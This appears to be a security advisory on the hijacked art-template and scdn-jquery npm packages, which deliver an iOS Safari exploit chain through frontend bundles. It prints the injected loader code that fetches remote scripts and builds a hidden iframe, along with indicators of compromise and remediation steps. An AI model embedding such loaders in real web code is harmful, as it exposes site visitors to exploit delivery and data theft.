CVE
CVE-2024-23222
CWE
CWE-506
Affected Surface
- art-template 4.13.3
- art-template 4.13.5
- art-template 4.13.6
- npm scdn-jquery 0.1.6 (GHSA-543q-wq5f-hmgh and GHSA-hvpp-rx4h-crg5, libs/18.2.0.js iOS exploit loader via oomcsn[.]cc, replaced on npm with 0.0.1-security on 3 November 2026)
- Browser bundles that include lib/template-web.js from affected art-template releases or libs/18.2.0.js from scdn-jquery
- Sites serving bundled art-template or scdn-jquery code to Safari or iOS users
- Companion packages controlled by the changed npm maintainer set: express-art-template, art-template-loader, and koa-art-template
Update, 3 November 2026: Between 03:46 and 03:48 UTC on 3 November 2026, npm security removed all published versions (0.1.0 through 0.1.7) of scdn-jquery, replaced the package on registry.npmjs.org with 0.0.0-stage and 0.0.1-security holding releases, and published GHSA-hvpp-rx4h-crg5. Any frontend build or CDN cache that bundled scdn-jquery@0.1.6 (libs/18.2.0.js) before the takedown remains affected until rebuilt and invalidated.
Update, 2 November 2026: On 2 November 2026 (06:10 to 06:31 UTC), ESTsecurity and the GitHub Advisory Database published GHSA-543q-wq5f-hmgh (OpenSSF malicious-packages PR #1700) for scdn-jquery@0.1.6, a second npm package using the same browser-bundle iOS exploit delivery pattern. Published by the npm account cdnjsv2 across versions 0.1.0 through 0.1.7 between 24 October and 1 November 2026 (and still live on registry.npmjs.org as of 2 November), scdn-jquery ships a single libs/18.2.0.js file masquerading as jQuery. While 0.1.0 through 0.1.5 contained clean jQuery 4.0.0, 0.1.6 (scdn-jquery-0.1.6.tgz SHA-256 f55f8c13e1a7d5cd54eb44cf2ef61d8731c57b95542a91ad21ffe4c3899d71ae, libs/18.2.0.js SHA-256 91f747d4c8751b73cc65ee69ba86d8a30310b1b1bef5ffebc3682efb4b238c86, published 26 October at 13:10 UTC) changed the header banner to /*! jQuery v18.2.0 ... */ and prepended a two-layer XOR + atob() + new Function() browser loader directly inside the UMD wrapper. When libs/18.2.0.js executes in a visitor’s browser, the outer 4-byte rolling XOR (a.charCodeAt(h) ^ a.charCodeAt(h & 3)) decodes a setTimeout(..., 1) stage that XORs a 32-byte array against [75, 211, 126, 169] to construct hxxps://oomcsn[.]cc/assets/js/m[.]js, appends an async <script> element that removes itself on onload/onerror, and loads a hidden <iframe> pointing to hxxps://oomcsn[.]cc/assets/js/group[.]html to select iOS exploit code based on the visitor’s iOS version. Notably, on 1 November at 19:07 UTC (hours before GHSA-543q-wq5f-hmgh was published), the publisher uploaded scdn-jquery@0.1.7 (libs/18.2.0.js SHA-256 7b3638ecc3602fd52b8461aca74af4cfc2d56cbc22898b300f0de542612a23f8), which retains the exact atob + 4-byte XOR + new Function harness in libs/18.2.0.js with the ciphertext replaced by "Sluqag==" (decoding to an empty string "") so latest appears benign while keeping the execution sink in place. Block and remove all versions of scdn-jquery (0.1.0 through 0.1.7).
On 20 May 2026, Socket and SafeDep published analysis of a compromise in the npm package art-template, a long-standing JavaScript templating library. This incident is unusual because the malicious code was not an install-time developer credential stealer. It was appended to the browser bundle and executed in the browsers of downstream application users.
The affected package is art-template. The last known clean release is 4.13.2. Confirmed malicious releases are:
art-template@4.13.3art-template@4.13.5art-template@4.13.6
SafeDep also identified 4.13.4 as an unauthorized release, but did not find the same browser-bundle injection in that version. Treat it as untrusted for provenance purposes, but prioritize the three injected versions when looking for runtime impact.
Why this matters
Most recent npm supply-chain incidents have targeted developer workstations, CI runners, and publish tokens through preinstall, postinstall, or import-time execution. The art-template compromise targets a different trust boundary: users who visit websites built with a poisoned frontend dependency.
If an application bundled the affected lib/template-web.js file and served it to users, the malicious loader ran in the page’s origin. That gives the attacker the same browser capabilities as any other script on the site: cookie access where cookies are not HttpOnly, local storage access, DOM manipulation, redirects, iframe injection, and further payload staging. Socket and SafeDep both tie the final chain to a Coruna-like iOS exploit framework targeting Safari/WebKit.
Injection point
The malicious code is appended to lib/template-web.js, the browser-side bundle. Server-side Node.js consumers that only require the package’s Node entry point are not directly exposed to this browser payload, but repositories should still remove the affected artifacts because builds often copy browser bundles into static assets.
For 4.13.5, SafeDep reconstructs the appended code as:
function loadScript(url) {
const script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.head.appendChild(script);
}
loadScript('https://v3.jiathis.com/code/jia.js?uid=artemplate');
Version 4.13.6 keeps the same primitive and changes the URL:
loadScript('https://v3.jiathis.com/code/art.js');
Version 4.13.3 used a more obfuscated String.fromCharCode loader. The decoded target was hxxps://git.youzzjizz[.]com/git.js. That earlier package was also partially broken because the tarball omitted expected server-side files, but the standalone browser bundle could still execute if a site consumed it directly.
Delivery chain
The browser-side chain reported by Socket and SafeDep is:
art-template@4.13.5 or 4.13.6
-> lib/template-web.js appends loadScript(...)
-> hxxps://v3.jiathis[.]com/code/jia.js or art.js
-> Baidu Analytics is injected for all visitors
-> iPhone user agents receive a hidden iframe
-> hxxps://utaq[.]cfww[.]shop/gooll/gooll.html
-> 49554fde7424c31c.js
-> Safari/iOS fingerprinting and remote module dispatch
The first-stage remote script is reportedly gated. SafeDep observed that a request without a Referer header returned a near-empty response, while a browser-like script load with Referer returned the full JavaScript payload. That kind of server-side filtering makes simple IOC fetches and sandbox crawlers less reliable.
The iPhone-specific stage creates a hidden iframe and places it inside a closed Shadow DOM root:
var isIphone = /iPhone/i.test(navigator.userAgent);
if (!isIphone) return;
var frame = document.createElement('iframe');
frame.src = atob('aHR0cHM6Ly91dGFxLmNmd3cuc2hvcC8=');
Object.assign(frame.style, {
width: '0px',
height: '0px',
border: 'none',
position: 'fixed',
top: '-1000px',
left: '-1000px',
});
That design hides the payload from visual inspection and from simple DOM queries that do not pierce a closed shadow root.
Exploit-kit behavior
Socket’s analysis describes the final 49554fde7424c31c.js loader as a Safari/WebKit gate that rejects Chrome, Firefox, Edge, Android, and iOS versions outside the selected ranges. SafeDep’s deeper module analysis links the chain to the Coruna iOS exploit kit documented by Google TAG.
The reported targeting window includes iOS 11 through iOS 17.2, with a hard cutoff at iOS 17.3 and later. That cutoff is important because CVE-2024-23222, a JavaScriptCore type confusion issue used by Coruna’s newer chain, was patched by Apple in iOS 17.3.
Technical behaviors reported across the loader and remote modules include:
- Safari and WebKit user-agent gating.
- WebRTC, WebGL, MathML, IndexedDB, touch, and automation checks.
- WebAssembly-based fingerprinting and proof-of-work style validation.
- Per-version memory-layout offsets for JIT output checks.
- Content-addressed remote module loading through derived SHA-256 paths.
- ARM64/arm64e architecture branching.
- Native shellcode that references
ptrace,mmap,mprotect, Mach traps, and Apple frameworks.
This is not an ad-injection or analytics-only incident. A poisoned frontend package can become a browser exploit delivery surface for every user who loads the affected bundle.
Package ownership risk
SafeDep reports that the original npm maintainer no longer appears on art-template or related packages. The changed maintainer set also controls companion packages:
express-art-templateart-template-loaderkoa-art-template
Those packages had not received new malicious versions in the public reporting reviewed here, but ownership control matters. Organizations that still depend on this ecosystem should pin known-clean versions, mirror artifacts internally, and avoid automatic promotion of new releases from the changed maintainer set until ownership is resolved.
Indicators
Package indicators:
art-template@4.13.3art-template@4.13.5art-template@4.13.6lib/template-web.jscontainingv3.jiathis[.]comlib/template-web.jscontaininggit.youzzjizz[.]com
Network and payload indicators reported by Socket and SafeDep:
v3[.]jiathis[.]com/code/jia.jsv3[.]jiathis[.]com/code/art.jsgit[.]youzzjizz[.]com/git.jsutaq[.]cfww[.]shoputaq[.]cfww[.]shop/gooll/gooll.htmll1ewsu3yjkqeroy[.]xyz/api/ip-sync/synchm[.]baidu[.]com/hm.js?7d86eb847ecfd3c972fa457a6abaa0da49554fde7424c31c.jsSHA-256f31bdd069fe7966ae11be1f78ee5dd44445938856dd1df12379e0e84a6851f5c
Remediation
Pin art-template to 4.13.2 or remove the dependency. Search package manifests, lockfiles, package-manager caches, deployed bundles, static asset directories, CDN uploads, and build artifacts for the affected versions and for the injected domains.
Useful searches:
rg "art-template@?4\\.13\\.(3|5|6)|v3\\.jiathis|git\\.youzzjizz|utaq\\.cfww|l1ewsu3yjkqeroy" .
For web applications that may have served the affected bundle, response should include both dependency cleanup and user-impact review:
- Rebuild and redeploy static assets from a clean lockfile.
- Invalidate CDN and edge caches containing affected bundles.
- Review access logs for requests to the affected JavaScript bundle during the exposure window.
- Add browser-side CSP controls that prevent unexpected script loads from
v3.jiathis[.]comand iframe loads fromutaq[.]cfww[.]shop. - Review client-side telemetry for iOS/Safari users redirected through the iframe chain.
If the affected bundle was served from an authenticated application, rotate any tokens stored in JavaScript-readable cookies or browser storage. Even if exploit delivery was iOS-gated, the injected script executed in the site’s origin before the chain selected victims.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Socket: compromised art-template npm package
- SafeDep: art-template npm hijack delivers iOS browser exploit kit
- Google TAG: Coruna iOS exploit kit analysis
- GitHub Advisory GHSA-2jwj-r853-cwhh
- GitHub Advisories GHSA-543q-wq5f-hmgh and GHSA-hvpp-rx4h-crg5 and OpenSSF PR #1700 (scdn-jquery@0.1.6 iOS browser exploit loader)
- NVD: CVE-2024-23222
- CWE-506 Embedded Malicious Code